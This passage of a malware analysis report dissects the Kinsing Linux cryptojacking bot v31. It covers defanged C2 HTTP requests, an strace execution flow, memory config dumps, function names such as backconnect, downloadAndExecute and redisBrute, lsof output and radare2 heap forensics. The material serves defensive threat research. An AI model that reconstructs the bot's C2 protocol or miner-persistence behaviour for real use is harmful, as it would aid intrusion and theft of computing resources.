Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip
------------------
POST /ms HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 12
Arch: amd64
Content-Type: application/octet-stream
Cores: 1
Mem: 496
Os: linux
Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip
Wzq]...t....
// Bot Request update command
GET /get HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 1
Mem: 496
Os: linux
Osname: linux
Osversion: xxxx
Root: false
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Version: 31
Accept-Encoding: gzip

- v31 splits the protocol:
/mgis the first call-in,/msreports the miner PID (12 encrypted bytes),/getpolls for tasks. A404on/getsimply means "no task now". - The header set (
Arch/Cores/Mem/Os/Osname/Osversion/Root/Uuid/Version) and the fixed User-Agent did not change from v28 to v31: that is why header-based network signatures last across versions.
■ 8. Execution flow recorded with strace (2020-07-31, lab)

Reading the flow step by step:
- The bot creates
/var/lock/linux.lock(single instance), the work directories/tmp/.ICEd-unixand/var/tmp/.ICEd-unix, and writesuuid. - It profiles the host: it starts
lsb_releaseand later kills that child process. - First call-in
GET /mg; the reply is a short encrypted blob. - It kills any previous copy of its miner by name, writes the embedded miner to
/tmp/<sample>daemon, sets the exec bit and starts it in the background. - The miner's output (its PID, 4 bytes) is redirected into a 9-digit temp file under
/tmp/.ICEd-unix/; the bot reads it, deletes it, and reports it withPOST /ms. - The miner reads
/proc/cpuinfo,/proc/mountsand the DMI product and vendor names (typical hardware detection of XMRig's hwloc), tries to enable huge pages, and connects to its pool on tcp/80. - When the miner disappears (here it was killed by the analyst), the next
/mgcycle re-drops and restarts it.GET /getanswered with404: no task at that time.
- The 9-digit temp file is a neat trick: it captures the miner's PID through stdout so the bot can watch and report its companion. For forensics it means a deleted file that still shows in
lsofas(deleted). - The bot is the supervisor: kill the miner and the bot brings it back within minutes. Always contain the bot first.
■ 9. Bot configuration in memory
///////// Kinsing bot config
// App my/bot Go environment at stacks
Pid........"Pid":...."Pid":....2887../tmp/{samplename:i.e. bigip}daemon
infos......"infos":.."infos":.............files..."files":..."files":........
here......."here":..."here":....../dev/null............./bin/sh
tmp......../tmp/.ICEd-unix..../tmp/.ICEd-unix..1977396759.........
info......."info":..."info"
her........"her":...."her":....
path......."path":..."path":...
data......."data":..."data":.....
parent....."parent":."parent":../usr/bin/sh...../usr/bin/sh
details...."details":.."details":....
name......."name":...."name":..............
size......."size":..."size":..
mode......."mode":..."mode":...........
mod_time..."mod_time":."mod_time":....
is_dir....."is_dir":."is_dir"
sys........"sys":...."sys":...
Pkg........"Pkg":...."Pkg":..................
Name......."Name":..."Name":..
Dir........"Dir":...."Dir":....
ImportPath."ImportPath":..'"ImportPath":......
Module....."Module":."Module":......
Path......."Path":..."Path":........
Main......."Main":..."Main":......
Dir........"Dir":...."Dir":....
GoMod......"GoMod":.."GoMod".....
GoVersion.."GoVersion":..."GoVersion":...
app.........my/bot..main....my/bot..
/app......./app/go.mod.1.13..my/bot3930496509.Dev.2066
// app my/bot config initiation
0xc0000c0000 {"infos":{"my/bot":{"Dir":"/app","ImportPath":"my/bot","Name":"main","Doc":"","Target":"/go/bin/bot","Root":"/app","Match":["."],"Stale"
0xc0000c0088 :true,"StaleReason":"stale dependency: golang.org/x/net/context","GoFiles":["command.go","counter.go","exec.go","fetcher_task.go","main.
0xc0000c0110 go","network.go","pkged.go","result.go","sclient.go","storage.go","sys_posix.go","task.go","task_exec.go","task_exec_out.go","task_reque
0xc0000c0198 st.go","task_scan.go","task_update.go","tasks.go","utils.go"],"Imports":["bytes","compress/gzip","container/list","crypto/md5","crypto/r
0xc0000c0220 c4","crypto/tls","encoding/hex","encoding/json","errors","fmt","github.com/armon/go-socks5","github.com/asaskevich/govalidator","github.
0xc0000c02a8 com/go-resty/resty/v2","github.com/hashicorp/yamux","github.com/kardianos/osext","github.com/kelseyhightower/envconfig","github.com/mark
0xc0000c0330 bates/pkger","github.com/markbates/pkger/pkging/mem","github.com/nu7hatch/gouuid","github.com/op/go-logging","github.com/paulbellamy/rat
0xc0000c03b8 ecounter","github.com/peterbourgon/diskv","github.com/shirou/gopsutil/host","github.com/shirou/gopsutil/mem","github.com/shirou/gopsutil
0xc0000c0440 /process","golang.org/x/sys/unix","io","io/ioutil","math/rand","my/bot/single","net","net/http","os","os/exec","runtime","strconv","stri
0xc0000c04c8 ngs","sync","sync/atomic","syscall","time"],"Deps":["bufio","bytes","compress/flate","compress/gzip","compress/zlib","container/list","c
0xc0000c0550 ontext","crypto","crypto/aes","crypto/cipher","crypto/des","crypto/dsa","crypto/ecdsa","crypto/ed25519","crypto/ed25519/internal/edwards
0xc0000c05d8 25519","crypto/elliptic","crypto/hmac","................................................................................................

■ 10. RSA private key in memory — identical to v28

■ 11. The mass-scan script carried by v31

■ 12. Important functions (.gopclntab) and host profiling
///////// important functions paddr vaddr section fnc.names ------------------------------------------------------- 0x00f87e28 0x01387e28 .gopclntab main.doTask 0x00f87e34 0x01387e34 .gopclntab main.execTask 0x00f88008 0x01388008 .gopclntab main.runcmd 0x00f88220 0x01388220 .gopclntab main.startCmd 0x00f88430 0x01388430 .gopclntab main.startCmdWithOutputSingle 0x00f88848 0x01388848 .gopclntab main.init.0 0x00f88998 0x01388998 .gopclntab main.main 0x00f88a03 0x01388a03 .gopclntab main.randIntRange 0x00f89238 0x01389238 .gopclntab main.healthChecker 0x00f8924b 0x0138924b .gopclntab main.setActiveC2CUrl 0x00f893d0 0x013893d0 .gopclntab main.minerRunningCheck 0x00f89548 0x01389548 .gopclntab main.isMinerRunning 0x00f89778 0x01389778 .gopclntab main.minRun 0x00f8a0e0 0x0138a0e0 .gopclntab main.copyFileContents 0x00f8a208 0x0138a208 .gopclntab main.getWriteableDir 0x00f8a21d 0x0138a21d .gopclntab main.writable 0x00f8a368 0x0138a368 .gopclntab main.getTask 0x00f8a5a8 0x0138a5a8 .gopclntab main.getTargets 0x00f8ac00 0x0138ac00 .gopclntab main.sendResult 0x00f8af18 0x0138af18 .gopclntab main.sendMinerPid 0x00f8b138 0x0138b138 .gopclntab main.getMinerPid 0x00f8b368 0x0138b368 .gopclntab main.checkHealth 0x00f8b4f0 0x0138b4f0 .gopclntab main.setLog 0x00f8b718 0x0138b718 .gopclntab main.setExecOutput 0x00f8b940 0x0138b940 .gopclntab main.encStruct 0x00f8b9f8 0x0138b9f8 .gopclntab main.getActiveC2CUrl 0x00f8bae0 0x0138bae0 .gopclntab main.DownloadFile 0x00f8be50 0x0138be50 .gopclntab main.makeClient 0x00f8bf60 0x0138bf60 .gopclntab main.RC4 0x00f8c078 0x0138c078 .gopclntab main.doRequestWithTooManyOpenFiles 0x00f8c438 0x0138c438 .gopclntab main.resultSender 0x00f8c740 0x0138c740 .gopclntab main.addResult 0x00f8c7f8 0x0138c7f8 .gopclntab main.getOrCreateListForTaskResult 0x00f8c938 0x0138c938 .gopclntab main.connectForSocks 0x00f8cb08 0x0138cb08 .gopclntab main.getOrCreateUuid 0x00f8cb1d 0x0138cb1d .gopclntab main.setUuid 0x00f8cc58 0x0138cc58 .gopclntab main.move 0x00f8cc62 0x0138cc62 .gopclntab main.syncCmd 0x00f8cd60 0x0138cd60 .gopclntab main.runTask 0x00f8cfc0 0x0138cfc0 .gopclntab main.taskWorker 0x00f8cfd0 0x0138cfd0 .gopclntab main.getOrCreateRateCounterForTask 0x00f8d178 0x0138d178 .gopclntab main.execTaskOut 0x00f8d210 0x0138d210 .gopclntab main.runTaskWithHttp 0x00f8d478 0x0138d478 .gopclntab main.taskWithHttpWorker 0x00f8d600 0x0138d600 .gopclntab main.runTaskWithScan 0x00f8d7c0 0x0138d7c0 .gopclntab main.taskWithScanWorker 0x00f8d948 0x0138d948 .gopclntab main.updateTask 0x00f8dec0 0x0138dec0 .gopclntab main.taskScan 0x00f8e028 0x0138e028 .gopclntab main.masscan 0x00f8e498 0x0138e498 .gopclntab main.socks 0x00f8e518 0x0138e518 .gopclntab main.goKrongo 0x00f8e648 0x0138e648 .gopclntab main.backconnect 0x00f8e6c8 0x0138e6c8 .gopclntab main.request 0x00f8ef58 0x0138ef58 .gopclntab main.tcpTask 0x00f8f558 0x0138f558 .gopclntab main.downloadAndExecute 0x00f8f5e0 0x0138f5e0 .gopclntab main.redisBrute 0x00f8f850 0x0138f850 .gopclntab main.RandStringRunes 0x00f8f928 0x0138f928 .gopclntab main.Hosts 0x00f8fa20 0x0138fa20 .gopclntab main.inc 0x00f8fa88 0x0138fa88 .gopclntab main.contains 0x00f8fb18 0x0138fb18 .gopclntab main.hash_file_md5 0x00f8fc90 0x0138fc90 .gopclntab main.main.func1 0x00f8fd08 0x0138fd08 .gopclntab main.copyFileContents.func1 0x00f8fdf0 0x0138fdf0 .gopclntab main.connectForSocks.func1 0x00f8ff08 0x0138ff08 .gopclntab main.runTask.func1 0x00f90110 0x01390110 .gopclntab main.execTaskOut.func1 0x00f901b8 0x013901b8 .gopclntab main.runTaskWithHttp.func1 0x00f902a8 0x013902a8 .gopclntab main.runTaskWithScan.func1.1 0x00f90390 0x01390390 .gopclntab main.runTaskWithScan.func1 0x00f906c0 0x013906c0 .gopclntab main.updateTask.func1 0x00f90760 0x01390760 .gopclntab main.socks.func1 0x00f90930 0x01390930 .gopclntab main.backconnect.func1 0x00f90ac0 0x01390ac0 .gopclntab main.downloadAndExecute.func1.1 0x00f90b50 0x01390b50 .gopclntab main.downloadAndExecute.func1 0x00f90cf0 0x01390cf0 .gopclntab main.init
// detect python tools & read package/arch/info etc during initiation..
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
:
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
// analysis and report by @unixfreaxjp on a secure environment.
[0x0087d245]> date
Sat Aug 1 15:37:48 2020
■ 13. Debug view: lsof during the run
///////////////////// debug///////////////////////////////////////////
xxxx 2869 xxxx cwd DIR 8,1 4096 397369 /home/xxxx/test
xxxx 2869 xxxx rtd DIR 8,1 4096 2 /
xxxx 2869 xxxx txt REG 8,1 16695296 397381 /home/xxxx/test/xxxx
xxxx 2869 xxxx 0u CHR 136,0 0t0 3 /dev/pts/0
xxxx 2869 xxxx 1u CHR 136,0 0t0 3 /dev/pts/0
xxxx 2869 xxxx 2u CHR 136,0 0t0 3 /dev/pts/0
xxxx 2869 xxxx 4u 0000 0,9 0 1203 anon_inode
=======
xxxx 2874 xxxx cwd DIR 8,1 4096 397369 /home/xxxx/test
xxxx 2874 xxxx rtd DIR 8,1 4096 2 /
xxxx 2874 xxxx txt REG 8,1 16695296 397381 /home/xxxx/test/xxxx
xxxx 2874 xxxx 0r CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 1w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 2w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 3uW REG 0,15 0 6754 /run/lock/linux.lock
xxxx 2874 xxxx 4u 0000 0,9 0 1203 anon_inode
xxxx 2874 xxxx 5r CHR 1,9 0t0 1210 /dev/urandom
=======
xxxx 2874 xxxx cwd DIR 8,1 4096 397369 /home/xxxx/test
xxxx 2874 xxxx rtd DIR 8,1 4096 2 /
xxxx 2874 xxxx txt REG 8,1 16695296 397381 /home/xxxx/test/xxxx
xxxx 2874 xxxx 0r CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 1w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 2w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 3uW REG 0,15 0 6754 /run/lock/linux.lock
xxxx 2874 xxxx 4u 0000 0,9 0 1203 anon_inode
xxxx 2874 xxxx 5r CHR 1,9 0t0 1210 /dev/urandom
xxxx 2874 xxxx 6u IPv4 6787 0t0 TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx 2874 xxxx 7r REG 8,1 786432 1310783 /tmp/{samplename:i.e. bigip}daemon
=======
xxxx 2874 xxxx cwd DIR 8,1 4096 397369 /home/xxxx/test
xxxx 2874 xxxx rtd DIR 8,1 4096 2 /
xxxx 2874 xxxx txt REG 8,1 16695296 397381 /home/xxxx/test/xxxx
xxxx 2874 xxxx 0r CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 1w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 2w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 3uW REG 0,15 0 6754 /run/lock/linux.lock
xxxx 2874 xxxx 4u 0000 0,9 0 1203 anon_inode
xxxx 2874 xxxx 5r CHR 1,9 0t0 1210 /dev/urandom
xxxx 2874 xxxx 6u IPv4 6787 0t0 TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx 2874 xxxx 7r REG 8,1 4 1310784 /tmp/.ICEd-unix/922209688 (deleted)
{samplename:i.e. bigip}daem 2887 xxxx cwd DIR 8,1 4096 2 /
{samplename:i.e. bigip}daem 2887 xxxx rtd DIR 8,1 4096 2 /
{samplename:i.e. bigip}daem 2887 xxxx txt REG 8,1 3930496 1310783 /tmp/{samplename:i.e. bigip}daemon
{samplename:i.e. bigip}daem 2887 xxxx 0r CHR 1,3 0t0 1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx 1u REG 8,1 4 1310784 /tmp/.ICEd-unix/922209688 (deleted)
{samplename:i.e. bigip}daem 2887 xxxx 2w CHR 1,3 0t0 1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx 3r DIR 8,1 4096 2 /
{samplename:i.e. bigip}daem 2887 xxxx 4r FIFO 0,8 0t0 6811 pipe
{samplename:i.e. bigip}daem 2887 xxxx 5w FIFO 0,8 0t0 6811 pipe
{samplename:i.e. bigip}daem 2887 xxxx 6u 0000 0,9 0 1203 anon_inode
{samplename:i.e. bigip}daem 2887 xxxx 7r FIFO 0,8 0t0 6812 pipe
{samplename:i.e. bigip}daem 2887 xxxx 8w FIFO 0,8 0t0 6812 pipe
{samplename:i.e. bigip}daem 2887 xxxx 9u 0000 0,9 0 1203 anon_inode
{samplename:i.e. bigip}daem 2887 xxxx 10r CHR 1,3 0t0 1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx 11u IPv4 6813 0t0 TCP x.x.x.x:38700->5[.]23.52[.]131:80 (ESTABLISHED)
=======
(I was killing the miner and detached the sample)
xxxx 2874 xxxx cwd DIR 8,1 4096 397369 /home/xxxx/test
xxxx 2874 xxxx rtd DIR 8,1 4096 2 /
xxxx 2874 xxxx txt REG 8,1 16695296 397381 /home/xxxx/test/xxxx
xxxx 2874 xxxx 0r CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 1w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 2w CHR 1,3 0t0 1205 /dev/null
xxxx 2874 xxxx 3uW REG 0,15 0 6754 /run/lock/linux.lock
xxxx 2874 xxxx 4u 0000 0,9 0 1203 anon_inode
xxxx 2874 xxxx 5r CHR 1,9 0t0 1210 /dev/urandom
xxxx 2874 xxxx 6u IPv4 6852 0t0 TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx 2874 xxxx 7r REG 8,1 4 1310784 /tmp/.ICEd-unix/977396759 (deleted)
=======
- The miner process holds the deleted 9-digit temp file as its stdout (
1u ... (deleted)) and the bot holds the C2 socket: two processes, two roles, one infection.
■ 14. radare2 memory forensics on the live bot

dm) and dumps of each region with wt. In current radare2 the write-to-file command is wtf.
[0x0045bf73]> dm
0x0000000000400000 # 0x00000000007a5000 * usr 3.6M s r-x /home/test /home/test ; map.home_xxxx_test_xxxx.r_x
0x00000000007a5000 # 0x0000000001399000 - usr 12.0M s r-- /home/test /home/test ; map.home_xxxx_test_xxxx.r
0x0000000001399000 # 0x00000000013ec000 - usr 332K s rw- /home/test /home/test ; map.home_xxxx_test_xxxx.rw
0x00000000013ec000 # 0x000000000140f000 - usr 140K s rw- unk0 unk0 ; map.unk0.rw
0x000000c000000000 # 0x000000c004000000 - usr 64M s rw- unk1 unk1 ; map.unk1.rw <===== config
0x00007f8095bd8000 # 0x00007f8098009000 - usr 36.2M s rw- unk2 unk2 ; map.unk2.rw
0x00007ffda7690000 # 0x00007ffda76b1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw
0x00007ffda77d3000 # 0x00007ffda77d4000 - usr 4K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s r-x [vsyscall] [vsyscall] ; map.vsyscall_.r_x
///////// seeking my/bot
hits: 33
0xc0000ba116 hit10_0 .l","math/rand","my/bot/single","net",".
0xc0000ba995 hit10_1 .otedprintable","my/bot/single","net",".
0xc0000bae70 hit10_2 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c000b hit10_3 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c002f hit10_4 .","ImportPath":"my/bot","Name":"main",.
0xc0000c0480 hit10_5 .l","math/rand","my/bot/single","net",".
0xc0000c200b hit10_6 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c202f hit10_7 .","ImportPath":"my/bot","Name":"main",.
0xc0000c2480 hit10_8 .l","math/rand","my/bot/single","net",".
0xc0000c2cff hit10_9 .otedprintable","my/bot/single","net",".
0xc0000c31da hit10_10 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c3231 hit10_11 .3"}}},"files":{"my/bot:/public/x":{"in.
0xc0000c34c5 hit10_12 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c3520 hit10_13 .,"path":{"Pkg":"my/bot","Name":"/publi.
0xc0000c400b hit10_14 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c402f hit10_15 .","ImportPath":"my/bot","Name":"main",.
0xc0000c4480 hit10_16 .l","math/rand","my/bot/single","net",".
0xc0000c4cff hit10_17 .otedprintable","my/bot/single","net",".
0xc0000c51da hit10_18 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c5231 hit10_19 .3"}}},"files":{"my/bot:/public/x":{"in.
0xc0000c54c5 hit10_20 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c5520 hit10_21 .,"path":{"Pkg":"my/bot","Name":"/publi.
0xc0001f0e30 hit10_22 .[Exeunt Players]my/botmain[Exit .
0xc0001f0e50 hit10_23 .[Exit POLONIUS]my/bot/appROSENC.
0xc0001f0e90 hit10_24 .GUILDENSTERN |my/bot3930496509[Enter.
0xc0001f11b0 hit10_25 .To heaven.my/bot/app/app/g.
0xc0001f11d0 hit10_26 ./app/go.mod1.13my/bot/public/x[Enter.
0xc0001f11f0 hit10_27 .[Enter HAMLET]my/bot:/public/xHelp, .
0xc0001f14d0 hit10_28 ./app/publicmy/bot/app/app/g.
0xc0001f1500 hit10_29 .I pray you.my/bot/public/x2[Exit .
0xc0001f1524 hit10_30 .t HORATIO]/appmy/botmain[A noise w.
0xc0001f1540 hit10_31 .[A noise within]my/bot/app[Noise.
0xc000284480 hit10_32 .ir, really.my/bot:/public/x2.
The heap region 0xc000000000-0xc004000000 (64M, marked "config") holds the bot's runtime data. Searching it shows the configuration, the C2 and pieces of the embedded Hamlet text interleaved with live data:
0xc0001f0000 hxxp :// ...................... ..T...E...X...T...X...M...L.......+...X...M...L...................VOLTIMAND |.....213[.]32.10[.]148:80........
0xc0001f0088 ..... ..CORNELIUS |.....s.......12......HTTP/1.1 200 OK.GUILDENSTERN |..nginx/1.14.2....keep-alive......MARCELLUS |.....G...............
0xc0001f0110 | officers.............Pid.....BERNARDO |......"Pid":"Pid":....(First Player:).2887............(Player King:)..G......./bin/sh.(Player
0xc0001f0198 Queen:)./usr/bin/sh.....(First Clown:)../usr/bin/sh.....(Second Clown:)./bin/sh.........A Captain......./dev/null.......(First Sailor:).
0xc0001f0220 /bin/sh.........(Messenger:)..../tmp/{samplename:i.e. bigip}daemonSCENE Denmark.../usr/bin/sh...../usr/bin/sh.....BERNARDO He...../bin/sh./bin/sh.........
0xc0001f02a8 infos...BERNARDO Say,..."infos":"infos":[Enter Ghost]...................[Exit Ghost]....files..."files":'Tis strange...."files":........
0xc0001f0330 [Re-enter Ghost]........here....Speak to me:...."here":"here":..Speak to me:..../dev/null.......[Cock crows]............/bin/sh.[Exit Gh
0xc0001f03b8 ost]..../tmp/.ICEd-unix./tmp/.ICEd-unix.and Attendants].1977396759......CORNELIUS |.....................VOLTIMAND |.....info...."info":.
0xc0001f0440 HAMLET Saw? who?"info":.........MARCELLUS |.............her.....BERNARDO |............../bin/sh.MARCELLUS |....."her":"her":....BERNARDO
0xc0001f04c8 |......................MARCELLUS |.....path...."path":.BERNARDO |......"path":.........MARCELLUS |.............data....BERNARDO |......
0xc0001f0550 "data":"data":..I'll visit you..................parent.........."parent":.......[Enter POLONIUS]"parent":......./usr/bin/sh...../usr/bin
0xc0001f05d8 /sh.....[Enter Ghost]...................To you alone....details........."details":......Ghost Mark me..."details":......HAMLET What?....
0xc0001f0660 /bin/sh.........HAMLET O God!...................HAMLET Murder!..name...."name":."name":.................size....I have sworn 't."size":"
0xc0001f06e8 size":..MARCELLUS |.....................mode...."mode":.HAMLET So be it!"mode":.................mod_timeMARCELLUS |....."mod_time":.....
0xc0001f0770 To tell us this."mod_time":.....................MARCELLUS |.....is_dir..........My lord, not I.."is_dir":.......truepenny?......"is_dir"
0xc0001f07f8 :.......[They swear]............sys.....So, gentlemen,.."sys":"sys":..../dev/null.......Of his behavior./dev/null.......and 'gentleman.'
0xc0001f0880 ......../bin/sh.See you now;............2902....[Exit REYNALDO].V.......V.......[Enter OPHELIA].Wzq]...t........hxxp :// .....12..........
0xc0001f0908 ..... ..To be commanded.................Attendants].....213[.]32.10[.]148:80[Enter POLONIUS]HTTP/1.1 200 OK.[Exit POLONIUS].................
0xc0001f0990 [Giving a paper]Pkg....."Pkg":..But let that go."Pkg":..................Name...."Name":"Name":..Attendants].....nginx/1.14.2....[Exit PO
0xc0001f0a18 LONIUS].keep-alive......her favours?....keep-alive......it is a prison..hxxp :// .....10..have bad dreams.........Dir.....ROSENCRANTZ |...
0xc0001f0aa0 "Dir":"Dir":....GUILDENSTERN |..................late innovation.ImportPath......[Enter POLONIUS]"ImportPath":...'twas so indeed."ImportP
0xc0001f0b28 ath":...HAMLET Buz, buz!................HAMLET Why,.....Name...."Name":.HAMLET Why,....."Name":.........So, proceed you.........Module..
0xc0001f0bb0 good discretion."Module":.......Did nothing....."Module":.......pronounced:.................. ..Take them in....................213.32.1
0xc0001f0c38 0.148:80Now I am alone..................For Hecuba!.....Path...."Path":.O, vengeance!..."Path":.........A scullion!.............Main....
0xc0001f0cc0 "Main":"Main":..................To any pastime?.Dir....."Dir":..Affront Ophelia:"Dir":..........[To OPHELIA]............GoMod...O heavy
0xc0001f0d48 burthen!"GoMod":"GoMod":[Enter HAMLET]..................There, my lord..GoVersion.......OPHELIA My lord?"GoVersion":....with honesty?...
0xc0001f0dd0 "GoVersion":....nunnery, go.....nginx/1.14.2....keep-alive............../app....[Exeunt Players]my/bot..main....[Exit POLONIUS].my/bot..
0xc0001f0e58 /app....ROSENCRANTZ |.../app/go.mod.1.13GUILDENSTERN |..my/bot3930496509[Enter HORATIO].Dev.2066.....$.@Get you a place.Ino1582262......
0xc0001f0ee0 are not mine.........$8ANlink...[To POLONIUS]..........?Mode....HAMLET Nothing..33277........?.@HAMLET Who, I?..Uid.1000.....@.@Gid.1000
0xc0001f0f68 .....@.@[Enter Prologue]X__pad0.RdevSize3930496.......MAi' the world....Blksize.4096....[Enter LUCIANUS].......@Blocks..more choler.....
0xc0001f0ff0 7680...........@go to bed.......AtimSec...@....Aunmannerly......nosniff.........this pipe?......Nsec224440316...[Enter POLONIUS]...._..A
0xc0001f1078 MtimSec.presently.......1594300140......[Exit POLONIUS]........ANsec....416438247...........W..ACtimSec.ROSENCRANTZ |...1594300140......
0xc0001f1100 GUILDENSTERN |.........ANsec....[Enter POLONIUS]416438247.......[Exit POLONIUS].....W..Apublic..All may be well.X__unused.......[Enter H
0xc0001f1188 AMLET]../app/public.....To heaven.......my/bot../app..../app/go.mod.1.13my/bot/public/x.[Enter HAMLET]..my/bot:/public/xHelp, help, ho!.
0xc0001f1210 x23897728509Dev.[Falls and dies]2066.........$.@Is it the king?.Ino1574400......[Enter Ghost].........8ANlink...[Exit Ghost]...........?
0xc0001f1298 Mode....HAMLET Ecstasy!.33277........?.@Uid.1000.....@.@Gid.1000.....@.@X__pad0.RdevSize[Enter HAMLET]..3897728.......MAROSENCRANTZ: |..
0xc0001f1320 Blksize.4096....GUILDENSTERN: |........@Blocks..foolish ear.....7616...........@AtimSec...@....AOr not at all...1594300141......that's t
0xc0001f13a8 he end..Nsec256440398...For England............AMtimSec.HAMLET Good.....1594300140.............ANsec....436438297..............ACtimSec.
0xc0001f1430 1594300140......yield them,............ANsec....[Exit HORATIO]..436438297.......OPHELIA [Sings]........Apublic..X__unused.......OPHELIA
0xc0001f14b8 [Sings]./app/public.....my/bot../app..../app/go.mod.1.13I pray you......my/bot/public/x2[Exit HORATIO]../appmy/bot..main[A noise within]
0xc0001f1540 my/bot../app....[Noise within]../app/go.mod.1.13Speak, man......................OPHELIA [Sings].................OPHELIA [Sings].linux...
0xc0001f15c8 ........OPHELIA [Sings].xxxxxxxx-xxxx-xxlinux.lock......................[Exit Servant]..linux_Backend...[Enter Sailors].LINUX_BACKEND...
0xc0001f1650 thee. Farewell..linux_Debug.....LINUX_DEBUG............./tmp....Pursued my life.linux_DisableMi.[Exit Messenger]LINUX_DISABLEMI.It may b
0xc0001f16d8 e death.OIPvWdAj........To muddy death..VvsrfcMG......../tmp/.ICEd-unix./tmp/.ICEd-unix.own defence?..../var/tmp........a carpenter?'...
0xc0001f1760 /tmp/.ICEd-unix.stoup of liquor./tmp/.ICEd-unix/might it not?...Y..`..Nme.j..A.l&...............grave-maker?..../dev/urandom....HAMLET W
0xc0001f17e8 hy?...../tmp/.ICEd-unix/HAMLET This?..../tmp/.ICEd-unix.me one thing..../tmp/.ICEd-unix/the earth?..............Uuid....HORATIO E'en so.
0xc0001f1870 /tmp/.ICEd-unix/Of blue Olympus./proc/meminfo...Hamlet the Dane./proc/meminfo...All Gentlemen,--508796508796....340180340180....[Exit HO
0xc0001f18f8 RATIO]..107241072485016.[To LAERTES]....850160102704....1027044316043160In further evil?5016050160140140[Enter OSRIC]...525445254443020.
0xc0001f1980 northerly.......43020001045500..complexion......10455001045500..OSRIC Sir?......10455006126120..know himself....501605016017496.[Exit OS
0xc0001f1a08 RIC]....1749617617611484[Enter a Lord]..11484...51045104[Exit Lord].....63806380528528..19041904000.....[They play].....12998961299896..
0xc0001f1a90 HAMLET One......153236153236....LAERTES No......34359738367.1808HAMLET Judgment.34359738367.....[They play].....180834359736443.[They pl
0xc0001f1b18 ay].....3435973644300...Nor thine on me.2048204840832...40832.483328....[March within]..483328/dev/null.and others]...../etc/lsb-release
0xc0001f1ba0 Truly deliver...invalid msg typesession shutdownstream closed...unexpected flag.connection reset................0...9...a...z...0...9...
0xc0001f1c28 a...z...0...9...a...z...0...9...a...z...0...9...a...z...7.11.7.11.496...VersionCoresMem.OsnameOsversion.Os..ArchRoot....................
0xc0001f1cb0 0...9...a...z...................0...9...........0...9...a...z...................0...9...........0...9...a...z.......%s..%.1s%s..k.......
0xc0001f1d38 ....O.0.k...........O.0.k...........O.0.k...........O.0..................[35m... .......21:00:57.000....21:00:57.000......r..... ... ...
0xc0001f1dc0 ........[0m.... .......hello go..>.....................................................................................................
0xc0001f1e48 ........................................................................................................................................
// stracte TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED) TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED) //////// C2 IP & port hits: 16 0xc00001e0c7 hit1_0 .hxxp :// 213[.]32.10[.]14872563572714a74a2. 0xc00001e277 hit1_1 .hxxp :// 213[.]32.10[.]14872563572714a74a2. 0xc00001e2a7 hit1_2 .5hxxp :// 213[.]32.10[.]14872563572714a74a2. 0xc000067019 hit1_3 .HTTP/1.1Host: 213[.]32.10[.]148User-Agent: Mo. 0xc0001f0070 hit1_4 .VOLTIMAND |213[.]32.10[.]148:80. 0xc0001f0940 hit1_5 .Attendants]213[.]32.10[.]148:80[Enter POLONI. 0xc0001f0c30 hit1_6 .213[.]32.10[.]148:80Now I am alon. 0xc000284047 hit1_7 .,hxxp :// 213[.]32.10[.]148;JlMy h. 0xc000284087 hit1_8 